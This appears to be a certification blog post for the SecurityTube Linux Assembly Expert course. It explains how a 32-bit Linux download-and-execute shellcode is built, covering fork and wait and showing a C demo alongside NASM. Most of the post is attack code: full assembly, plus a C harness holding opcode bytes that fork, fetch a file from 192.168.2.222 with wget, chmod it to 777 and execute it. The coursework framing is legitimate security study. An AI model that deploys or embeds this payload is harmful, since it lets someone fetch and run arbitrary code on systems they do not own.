After completing the tasks for the SLEA certification, I went on writing a shellcode for downloading and executing a file. For this task I wanna use wget with execve.
But first, some pseudocode:
start
execve wget file_x
chmod +x file_x
execve file_x
end
So that is the plan. See a problem here? Look at the execve man page:
EXECVE(2) Linux Programmer's Manual EXECVE(2)
NAME
execve - execute program
execve() does not return on success, and the text, data, bss, and stack of the calling process are overwritten by that of the program loaded.
...SNIP...
So once the execve command is finished, the program exits and the chmod and the second execve will never be reached. What to do? Let’s have a look at the fork man page:
FORK(2) Linux Programmer's Manual FORK(2)
NAME
fork - create a child process
SYNOPSIS
#include
pid_t fork(void);
DESCRIPTION
fork() creates a new process by duplicating the calling process. The new process, referred to as the child, is an exact duplicate of the calling process,
referred to as the parent
...SNIP...
Further we will need the wait command, have a look at this by yourself (man 2 wait). wait(NULL) will wait for the child process until it executes.
But before going on to the shellcode here is a demonstration of fork and wait in plain C:
forkwaittest.c
#include <stdio.h>
void main(void)
{
int childPid;
childPid = fork();
if(childPid == 0)
{
printf("Hello, i am the child process\n");
exit(0);
}
else
{
wait(NULL);
printf("Hello, i am the parent process\n");
}
}
What does it do:
– execute the program
– start the child program
– in the parent program, wait until child has been executed
– print child
– print parent
As a little experiment you can compare the output when you comment the wait command.
And here is the assembler code for my fork/wait test:
forkwait.nasm
; fork wait example
global _start
section .text
_start:
;fork
xor eax,eax
mov al,0x2
int 0x80
xor ebx,ebx
cmp eax,ebx
jz child
;wait(NULL)
mov eax,0x7
int 0x80
;print parent & exit
xor eax, eax
mov al, 0x4
xor ebx, ebx
mov bl, 0x1
xor edx, edx
push edx
push 0x746e
push 0x65726170
mov ecx, esp
mov dl, 12
int 0x80
xor eax, eax
mov al, 0x1
xor ebx, ebx
int 0x80
child:
;print child & exit
xor eax, eax
mov al, 0x4
xor ebx, ebx
mov bl, 0x1
xor edx, edx
push edx
push 0x64
push 0x6c696863
mov ecx, esp
mov dl, 12
int 0x80
xor eax, eax
mov al, 0x1
xor ebx, ebx
int 0x80
This is mostly the same as the C program.
So here is my new pseudo code:
start
fork
cmp
if child goto child
wait for child
chmod +x file_x
execve file_x
child:
execve wget file_x
end
Enough explanations, here is the shellcode:
/*
; Filename: downloadexec.nasm
; Author: Daniel Sauder
; Website: https://govolution.wordpress.com/
; Tested on: Ubuntu 12.04 / 32Bit
; License: http://creativecommons.org/licenses/by-sa/3.0/
; Shellcode:
; - download 192.168.2.222/x with wget
; - chmod x
; - execute x
; - x is an executable
global _start
section .text
_start:
;fork
xor eax,eax
mov al,0x2
int 0x80
xor ebx,ebx
cmp eax,ebx
jz child
;wait(NULL)
xor eax,eax
mov al,0x7
int 0x80
;chmod x
xor ecx,ecx
xor eax, eax
push eax
mov al, 0xf
push 0x78
mov ebx, esp
xor ecx, ecx
mov cx, 0x1ff
int 0x80
;exec x
xor eax, eax
push eax
push 0x78
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
child:
;download 192.168.2.222//x with wget
push 0xb
pop eax
cdq
push edx
push 0x782f2f32 ;2//x avoid null byte
push 0x32322e32 ;22.2
push 0x2e383631 ;.861
push 0x2e323931 ;.291
mov ecx,esp
push edx
push 0x74 ;t
push 0x6567772f ;egw/
push 0x6e69622f ;nib/
push 0x7273752f ;rsu/
mov ebx,esp
push edx
push ecx
push ebx
mov ecx,esp
int 0x80
*/
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xd8\x74\x2a\x31\xc0\xb0\x07\xcd\x80\x31\xc9\x31\xc0\x50\xb0\x0f\x6a\x78\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x31\xc0\x50\x6a\x78\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x6a\x0b\x58\x99\x52\x68\x32\x2f\x2f\x78\x68\x32\x2e\x32\x32\x68\x31\x36\x38\x2e\x68\x31\x39\x32\x2e\x89\xe1\x52\x6a\x74\x68\x2f\x77\x67\x65\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
You can download the code from github. Also on shell-storm.org
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-342